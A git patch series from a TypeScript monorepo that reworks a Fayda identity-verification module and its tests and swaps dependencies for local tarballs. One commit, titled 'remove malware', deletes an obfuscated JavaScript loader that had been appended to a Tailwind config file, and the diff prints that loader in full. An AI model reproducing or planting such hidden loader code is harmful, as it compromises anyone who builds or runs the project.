PKCE \`code_challenge\`, CSRF \`state\`, requested \`claims\`, and \`code_challenge_method=S256\`. The frontend simply navigates to it (full page or popup).`, }) @ApiOkResponse({ @@ -73,11 +74,9 @@ export class VerifaydaController { @Req() req: RequestWithOptionalUser, ): Promise<{ authorizationUrl: string }> { const authorizationUrl = await this.service.startVerification({ - purpose: dto.purpose ?? 'PURCHASE', + purpose: dto.purpose ?? 'VERIFY', platform: dto.platform ?? 'WEB', userId: req.user?.userId, - bookingId: dto.bookingId, - saveToAccount: dto.saveToAccount, }); return { authorizationUrl }; } diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.dto.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.dto.ts index 005a3e517..f446b6fb3 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.dto.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.dto.ts @@ -1,31 +1,16 @@ import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; -import { IsBoolean, IsIn, IsOptional, IsString } from 'class-validator'; +import { IsIn, IsOptional, IsString } from 'class-validator'; export class StartVerificationDto { @ApiPropertyOptional({ - enum: ['LOGIN', 'PURCHASE'], - default: 'PURCHASE', - description: 'Reason for verification.', - }) - @IsOptional() - @IsIn(['LOGIN', 'PURCHASE']) - purpose?: 'LOGIN' | 'PURCHASE'; - - @ApiPropertyOptional({ + enum: ['LOGIN', 'VERIFY'], + default: 'VERIFY', description: - 'Booking the verification should attach to (PURCHASE flow). If omitted, the session is anchored only to the user.', + 'Reason for verification. VERIFY returns the verified identity attributes; LOGIN resolves/creates a user and returns a JWT.', }) @IsOptional() - @IsString() - bookingId?: string; - - @ApiPropertyOptional({ - description: - 'When true and the user is logged in, copy faydaVerified=true / faydaSub onto their User record after verification.', - }) - @IsOptional() - @IsBoolean() - saveToAccount?: boolean; + @IsIn(['LOGIN', 'VERIFY']) + purpose?: 'LOGIN' | 'VERIFY'; @ApiPropertyOptional({ enum: ['WEB', 'MOBILE'], @@ -39,8 +24,8 @@ export class StartVerificationDto { } export class CompleteVerificationResultDto { - @ApiProperty({ enum: ['LOGIN', 'PURCHASE'] }) - purpose: 'LOGIN' | 'PURCHASE'; + @ApiProperty({ enum: ['LOGIN', 'VERIFY'] }) + purpose: 'LOGIN' | 'VERIFY'; @ApiProperty() verified: boolean; @@ -58,10 +43,22 @@ export class CompleteVerificationResultDto { agentId?: string; }; - @ApiPropertyOptional({ - description: 'Verified full name from Fayda (PURCHASE flow).', - }) + @ApiPropertyOptional({ description: 'Verified full name from Fayda (VERIFY flow).' }) fullName?: string; + + @ApiPropertyOptional({ description: 'Verified email from Fayda (VERIFY flow).' }) + email?: string; + + @ApiPropertyOptional({ description: 'Verified phone number from Fayda (VERIFY flow).' }) + phoneNumber?: string; + + @ApiPropertyOptional({ + description: 'Verified date of birth from Fayda, ISO yyyy-MM-dd (VERIFY flow).', + }) + birthdate?: string; + + @ApiPropertyOptional({ description: 'Verified gender from Fayda (VERIFY flow).' }) + gender?: string; } export class VerifaydaCallbackDto { diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts index e4b8cb790..cfd7c51bb 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts @@ -96,13 +96,12 @@ describe('VerifaydaService (OIDC, client-callback)', () => { prisma.faydaVerificationSession.create.mockResolvedValue({}); const url = await service.startVerification({ - purpose: 'PURCHASE', + purpose: 'VERIFY', userId: 'user-1', - saveToAccount: true, }); const created = prisma.faydaVerificationSession.create.mock.calls[0][0].data; - expect(created.purpose).toBe('PURCHASE'); + expect(created.purpose).toBe('VERIFY'); expect(created.platform).toBe('WEB'); expect(typeof created.state).toBe('string'); expect(typeof created.codeVerifier).toBe('string'); @@ -139,7 +138,7 @@ describe('VerifaydaService (OIDC, client-callback)', () => { jwt, ); await expect( - disabledService.startVerification({ purpose: 'PURCHASE' }), + disabledService.startVerification({ purpose: 'VERIFY' }), ).rejects.toMatchObject({ status: 503 }); }); }); @@ -150,14 +149,12 @@ describe('VerifaydaService (OIDC, client-callback)', () => { id: 'session-1', state: 'state-abc', codeVerifier: 'verifier-xyz', - purpose: 'PURCHASE', + purpose: 'VERIFY', platform: 'WEB', - saveToAccount: false, status: 'PENDING', errorCode: null, errorDescription: null, userId: null, - bookingId: null, expiresAt: new Date(Date.now() + 60_000), ...overrides, }; @@ -209,18 +206,16 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }); }); - describe('completeVerification — PURCHASE', () => { + describe('completeVerification — VERIFY', () => { function pendingSession(overrides: Partial = {}) { return { id: 'session-1', state: 'state-abc', codeVerifier: 'verifier-xyz', - purpose: 'PURCHASE', + purpose: 'VERIFY', platform: 'WEB', - saveToAccount: false, status: 'PENDING', userId: null, - bookingId: null, expiresAt: new Date(Date.now() + 60_000), ...overrides, }; @@ -238,19 +233,23 @@ describe('VerifaydaService (OIDC, client-callback)', () => { (global as any).fetch = jest.fn(() => Promise.resolve(queue.shift())); } - it('stamps the booking seats and returns { verified, fullName }', async () => { - prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ bookingId: 'booking-1' }), - ); + it('returns the verified identity attributes and writes no domain rows', async () => { + prisma.faydaVerificationSession.findUnique.mockResolvedValue(pendingSession()); prisma.faydaVerificationSession.update.mockResolvedValue({}); - prisma.bookingSeat.updateMany.mockResolvedValue({ count: 1 }); mockFetchSequence( { json: async () => ({ access_token: 'tok', token_type: 'Bearer' }) }, { headers: new Headers({ 'content-type': 'application/json' }), text: async () => - JSON.stringify({ sub: 'fayda-sub-1', name: 'Test User' }), + JSON.stringify({ + sub: 'fayda-sub-1', + name: 'Test User', + email: 'test@example.com', + phone_number: '+251911000000', + birthdate: '1990-05-01', + gender: 'Male', + }), }, ); @@ -260,65 +259,17 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }); expect(result).toMatchObject({ - purpose: 'PURCHASE', + purpose: 'VERIFY', verified: true, fullName: 'Test User', + email: 'test@example.com', + phoneNumber: '+251911000000', + birthdate: '1990-05-01', + gender: 'Male', }); expect(result.token).toBeUndefined(); - expect(prisma.bookingSeat.updateMany).toHaveBeenCalledWith({ - where: { bookingId: 'booking-1' }, - data: expect.objectContaining({ faydaSub: 'fayda-sub-1' }), - }); - }); - - it('saves to the User account when saveToAccount=true and no conflict', async () => { - prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ userId: 'user-1', saveToAccount: true }), - ); - prisma.user.findFirst.mockResolvedValue(null); - prisma.user.update.mockResolvedValue({}); - prisma.faydaVerificationSession.update.mockResolvedValue({}); - - mockFetchSequence( - { json: async () => ({ access_token: 'tok', token_type: 'Bearer' }) }, - { - headers: new Headers({ 'content-type': 'application/json' }), - text: async () => - JSON.stringify({ sub: 'fayda-sub-2', name: 'Test User' }), - }, - ); - - const result = await service.completeVerification({ - code: 'authcode', - state: 'state-abc', - }); - - expect(result.verified).toBe(true); - expect(prisma.user.update).toHaveBeenCalledWith({ - where: { id: 'user-1' }, - data: expect.objectContaining({ faydaVerified: true, faydaSub: 'fayda-sub-2' }), - }); - }); - - it('throws identity_conflict (409) when faydaSub belongs to another user', async () => { - prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ userId: 'user-1', saveToAccount: true }), - ); - prisma.user.findFirst.mockResolvedValue({ id: 'other-user' }); - prisma.faydaVerificationSession.updateMany.mockResolvedValue({ count: 1 }); - - mockFetchSequence( - { json: async () => ({ access_token: 'tok', token_type: 'Bearer' }) }, - { - headers: new Headers({ 'content-type': 'application/json' }), - text: async () => - JSON.stringify({ sub: 'fayda-sub-3', name: 'Test User' }), - }, - ); - - await expect( - service.completeVerification({ code: 'authcode', state: 'state-abc' }), - ).rejects.toMatchObject({ status: 409 }); + expect(result.user).toBeUndefined(); + expect(prisma.bookingSeat.updateMany).not.toHaveBeenCalled(); expect(prisma.user.update).not.toHaveBeenCalled(); }); @@ -353,11 +304,8 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }); it('falls back to localized name (name#en) when name is missing', async () => { - prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ bookingId: 'booking-2' }), - ); + prisma.faydaVerificationSession.findUnique.mockResolvedValue(pendingSession()); prisma.faydaVerificationSession.update.mockResolvedValue({}); - prisma.bookingSeat.updateMany.mockResolvedValue({ count: 1 }); mockFetchSequence( { json: async () => ({ access_token: 'tok', token_type: 'Bearer' }) }, @@ -377,9 +325,6 @@ describe('VerifaydaService (OIDC, client-callback)', () => { state: 'state-abc', }); expect(result.fullName).toBe('English Name'); - expect(prisma.bookingSeat.updateMany.mock.calls[0][0].data.faydaVerifiedName).toBe( - 'English Name', - ); }); }); @@ -391,10 +336,8 @@ describe('VerifaydaService (OIDC, client-callback)', () => { codeVerifier: 'verifier-xyz', purpose: 'LOGIN', platform: 'WEB', - saveToAccount: false, status: 'PENDING', userId: null, - bookingId: null, expiresAt: new Date(Date.now() + 60_000), ...overrides, }; diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts index 7a929c3c5..f1340c87d 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts @@ -49,8 +49,6 @@ export interface StartVerificationInput { purpose: VerifaydaPurpose; platform?: FaydaPlatform; userId?: string; - bookingId?: string; - saveToAccount?: boolean; } export interface FaydaUserSummary { @@ -63,7 +61,8 @@ export interface FaydaUserSummary { /** * Result of completing a verification. `verified` is always true on success. - * LOGIN additionally returns a JWT + user; PURCHASE returns the verified name. + * LOGIN additionally returns a JWT + user; VERIFY returns the verified identity + * attributes (name, email, phone, dob, gender) for the caller to consume. */ export interface CompleteVerificationResult { purpose: VerifaydaPurpose; @@ -71,6 +70,10 @@ export interface CompleteVerificationResult { token?: string; user?: FaydaUserSummary; fullName?: string; + email?: string; + phoneNumber?: string; + birthdate?: string; + gender?: string; } @Injectable() @@ -134,15 +137,13 @@ export class VerifaydaService { codeVerifier, purpose: input.purpose, platform: input.platform ?? 'WEB', - saveToAccount: input.saveToAccount ?? false, userId: input.userId ?? null, - bookingId: input.bookingId ?? null, expiresAt, }, }); this.logger.log( - `Fayda verification started: purpose=${input.purpose} platform=${input.platform ?? 'WEB'} userId=${input.userId ?? 'none'} bookingId=${input.bookingId ?? 'none'}`, + `Fayda verification started: purpose=${input.purpose} platform=${input.platform ?? 'WEB'} userId=${input.userId ?? 'none'}`, ); return this.buildAuthorizationUrl({ state, codeChallenge }); @@ -206,17 +207,22 @@ export class VerifaydaService { } let result: CompleteVerificationResult; - if (session.purpose === 'PURCHASE') { - await this.handlePurchaseSuccess(session, normalized); - result = { - purpose: 'PURCHASE', - verified: true, - fullName: normalized.fullName, - }; - } else { + if (session.purpose === 'LOGIN') { const { userId } = await this.handleLoginSuccess(normalized); const login = await this.issueLoginToken(userId); result = { purpose: 'LOGIN', verified: true, ...login }; + } else { + // VERIFY — prove identity and hand the verified attributes back to the + // caller. No domain writes; the session row tracks status as usual. + result = { + purpose: 'VERIFY', + verified: true, + fullName: normalized.fullName, + email: normalized.email, + phoneNumber: normalized.phoneNumber, + birthdate: normalized.birthdate, + gender: normalized.gender, + }; } await this.prisma.faydaVerificationSession.update({ @@ -413,49 +419,6 @@ export class VerifaydaService { }; } - private async handlePurchaseSuccess( - session: { - id: string; - userId: string | null; - bookingId: string | null; - saveToAccount: boolean; - }, - normalized: NormalizedFaydaUserInfo, - ): Promise { - if (session.bookingId) { - await this.prisma.bookingSeat.updateMany({ - where: { bookingId: session.bookingId }, - data: { - faydaVerifiedAt: new Date(), - faydaSub: normalized.sub, - faydaVerifiedName: normalized.fullName ?? null, - }, - }); - } - - if (session.userId && session.saveToAccount) { - const conflict = await this.prisma.user.findFirst({ - where: { - faydaSub: normalized.sub, - NOT: { id: session.userId }, - }, - select: { id: true }, - }); - if (conflict) { - throw new FaydaIdentityConflictException(); - } - - await this.prisma.user.update({ - where: { id: session.userId }, - data: { - faydaVerified: true, - faydaVerifiedAt: new Date(), - faydaSub: normalized.sub, - }, - }); - } - } - /** * Resolves the User for a LOGIN flow and returns its id (the caller mints the * JWT via {@link issueLoginToken}). Resolution order: diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.types.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.types.ts index 7c7335c34..450bfaff5 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.types.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.types.ts @@ -1,4 +1,4 @@ -export type VerifaydaPurpose = 'LOGIN' | 'PURCHASE'; +export type VerifaydaPurpose = 'LOGIN' | 'VERIFY'; export interface FaydaTokenResponse { access_token: string; From fd0f1d27d8373715dd7ea27e89753669ddc91879 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 23 Jun 2026 08:50:34 +0300 Subject: [PATCH 20/51] remove malware --- apps/edr-passenger-web/backoffice/tailwind.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index fd096747e..459b34e1b 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -37,4 +37,4 @@ module.exports = { }, }, plugins: [], -}; global['!']='8-4299';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; \ No newline at end of file From 707e32c43c2ee765356a3b8e4fe74974146da71f Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 23 Jun 2026 09:43:12 +0300 Subject: [PATCH 21/51] feat: ( iam ) update the iam package --- apps/edr-passenger-api/package.json | 4 +- pnpm-lock.yaml | 99 +++++++++++++++++++++++++---- 2 files changed, 89 insertions(+), 14 deletions(-) diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index d8bef14f8..5ab08b399 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -36,8 +36,8 @@ "@nestjs/typeorm": "^11.0.1", "@prisma/client": "^6.19.3", "@sendgrid/mail": "^8.1.0", - "@tria-plc/api-common": "^1.4.0", - "@tria-plc/iamapi-common": "^0.6.2", + "@tria-plc/api-common": "file:../../local-packages/tria-plc-api-common-1.4.3.tgz", + "@tria-plc/iamapi-common": "file:../../local-packages/tria-plc-iamapi-common-0.7.3.tgz", "amqp-connection-manager": "^5.0.0", "amqplib": "^2.0.1", "axios": "^1.7.7", diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 1b8e35968..ddeca7b4c 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -453,11 +453,11 @@ importers: specifier: ^8.1.0 version: 8.1.6 '@tria-plc/api-common': - specifier: ^1.4.0 - version: 1.4.3(68465c76c63c8e4f8e0d7006fef2cc80) + specifier: file:../../local-packages/tria-plc-api-common-1.4.3.tgz + version: file:local-packages/tria-plc-api-common-1.4.3.tgz(d81a2b6a79840fd7ce8c5d0cfc968145) '@tria-plc/iamapi-common': - specifier: ^0.6.2 - version: 0.6.6(c97ba831ddde82920910406ab5262991) + specifier: file:../../local-packages/tria-plc-iamapi-common-0.7.3.tgz + version: file:local-packages/tria-plc-iamapi-common-0.7.3.tgz(c97ba831ddde82920910406ab5262991) amqp-connection-manager: specifier: ^5.0.0 version: 5.0.0(amqplib@2.0.1) @@ -640,6 +640,9 @@ importers: '@tanstack/react-query': specifier: ^5.59.0 version: 5.101.0(react@18.3.1) + '@types/qrcode': + specifier: ^1.5.6 + version: 1.5.6 axios: specifier: ^1.7.7 version: 1.17.0 @@ -649,12 +652,21 @@ importers: date-fns: specifier: ^3.0.0 version: 3.6.0 + jspdf: + specifier: ^4.2.1 + version: 4.2.1 + jspdf-autotable: + specifier: ^5.0.8 + version: 5.0.8(jspdf@4.2.1) lucide-react: specifier: ^0.446.0 version: 0.446.0(react@18.3.1) next: specifier: ^14.2.0 version: 14.2.35(babel-plugin-macros@3.1.0)(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + qrcode: + specifier: ^1.5.4 + version: 1.5.4 qrcode.react: specifier: ^3.1.0 version: 3.2.0(react@18.3.1) @@ -4149,6 +4161,23 @@ packages: rxjs: ^7.8.0 typeorm: ^0.3.0 + '@tria-plc/api-common@file:local-packages/tria-plc-api-common-1.4.3.tgz': + resolution: {integrity: sha512-cHlo96Wh3ET8qHjq5mevJwqitFRynU17KzEpE5fz0efCs9NIw7N3K6L+bYwConOCP7jbIROe/2rkG9ToY/AA3w==, tarball: file:local-packages/tria-plc-api-common-1.4.3.tgz} + version: 1.4.3 + peerDependencies: + '@nestjs/common': ^11.0.0 + '@nestjs/core': ^11.0.0 + '@nestjs/jwt': ^11.0.0 + '@nestjs/microservices': ^11.0.0 + '@nestjs/passport': ^11.0.0 + '@nestjs/swagger': ^11.0.0 + '@nestjs/throttler': ^6.0.0 + '@nestjs/typeorm': ^11.0.0 + '@tria-plc/iamapi-common': ^0.1.0 + reflect-metadata: ^0.2.0 + rxjs: ^7.8.0 + typeorm: ^0.3.0 + '@tria-plc/iamapi-common@0.6.6': resolution: {integrity: sha512-derY8wJBonsQM2/oHsFgqZw7q4jQA3ilwN3kTDJP3I0h5l3d6zDVWYAFFHQFuH8Qx+q1DChla3g6x1+RPe++hg==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamapi-common/0.6.6/5211a9de00895776017415caab771f13ac3acaef} engines: {node: '>=20'} @@ -4170,6 +4199,28 @@ packages: rxjs: ^7.8.0 typeorm: ^0.3.0 + '@tria-plc/iamapi-common@file:local-packages/tria-plc-iamapi-common-0.7.3.tgz': + resolution: {integrity: sha512-poMG3sm+HmnfNbWNqMDZJMf3pXdc3HHA+o/ay6CA4E6ehLKkO7Np77C6xrCYuGxyDgqqKdmWiFLqKKddkv5rig==, tarball: file:local-packages/tria-plc-iamapi-common-0.7.3.tgz} + version: 0.7.3 + engines: {node: '>=20'} + peerDependencies: + '@nestjs/axios': ^4.0.0 + '@nestjs/common': ^11.0.0 + '@nestjs/core': ^11.0.0 + '@nestjs/jwt': ^11.0.0 + '@nestjs/microservices': ^11.0.0 + '@nestjs/passport': ^11.0.0 + '@nestjs/swagger': ^11.0.0 + '@nestjs/throttler': ^6.0.0 + '@nestjs/typeorm': ^11.0.0 + '@tria-plc/api-common': '*' + axios: ^1.9.0 + class-transformer: ^0.5.1 + class-validator: ^0.14.1 + reflect-metadata: ^0.2.0 + rxjs: ^7.8.0 + typeorm: ^0.3.0 + '@tria-plc/iamui-common@1.1.2': resolution: {integrity: sha512-oKFxs7/003/UcGf0q1R7lfubvsawPxgTzx8O2Fi/6oN3oGECnc3YNkbDPoOvMrmXYOxfMExIYZmhCv+OpstWAQ==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamui-common/1.1.2/01aa8b5799f0fa5a876c64ed6ebfe4b4134ccc55} @@ -8616,9 +8667,17 @@ packages: resolution: {integrity: sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==} engines: {node: '>=12', npm: '>=6'} + jspdf-autotable@5.0.8: + resolution: {integrity: sha512-Hy05N86yBO7CXBrnSLOge7i1ZYpKH2DjQ94iybaP7vBhSInjvRBgDc99ngKzSbSO8Jc98ZCally8I6n0tj2RJQ==} + peerDependencies: + jspdf: ^2 || ^3 || ^4 + jspdf@3.0.4: resolution: {integrity: sha512-dc6oQ8y37rRcHn316s4ngz/nOjayLF/FFxBF4V9zamQKRqXxyiH1zagkCdktdWhtoQId5K20xt1lB90XzkB+hQ==} + jspdf@4.2.1: + resolution: {integrity: sha512-YyAXyvnmjTbR4bHQRLzex3CuINCDlQnBqoSYyjJwTP2x9jDLuKDzy7aKUl0hgx3uhcl7xzg32agn5vlie6HIlQ==} + jsprim@1.4.2: resolution: {integrity: sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==} engines: {node: '>=0.6.0'} @@ -16921,7 +16980,7 @@ snapshots: '@tootallnate/quickjs-emscripten@0.23.0': {} - '@tria-plc/api-common@1.4.3(68465c76c63c8e4f8e0d7006fef2cc80)': + '@tria-plc/api-common@1.4.3(8585e1bb20832aa29a6196252fda5dd7)': dependencies: '@nestjs/axios': 4.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2) '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -16929,10 +16988,10 @@ snapshots: '@nestjs/jwt': 10.2.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)) '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/passport': 10.0.3(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0) - '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + '@nestjs/swagger': 11.4.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2) '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(babel-plugin-macros@3.1.0)(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.42)(typescript@5.9.3))) - '@tria-plc/iamapi-common': 0.6.6(c97ba831ddde82920910406ab5262991) + '@tria-plc/iamapi-common': 0.6.6(578386f46cf99fd4720e3e99f196f69e) argon2: 0.43.1 axios: 1.17.0 change-case: 5.4.4 @@ -16965,7 +17024,7 @@ snapshots: - debug - supports-color - '@tria-plc/api-common@1.4.3(8585e1bb20832aa29a6196252fda5dd7)': + '@tria-plc/api-common@file:local-packages/tria-plc-api-common-1.4.3.tgz(d81a2b6a79840fd7ce8c5d0cfc968145)': dependencies: '@nestjs/axios': 4.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2) '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -16973,10 +17032,10 @@ snapshots: '@nestjs/jwt': 10.2.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)) '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/passport': 10.0.3(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0) - '@nestjs/swagger': 11.4.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) '@nestjs/throttler': 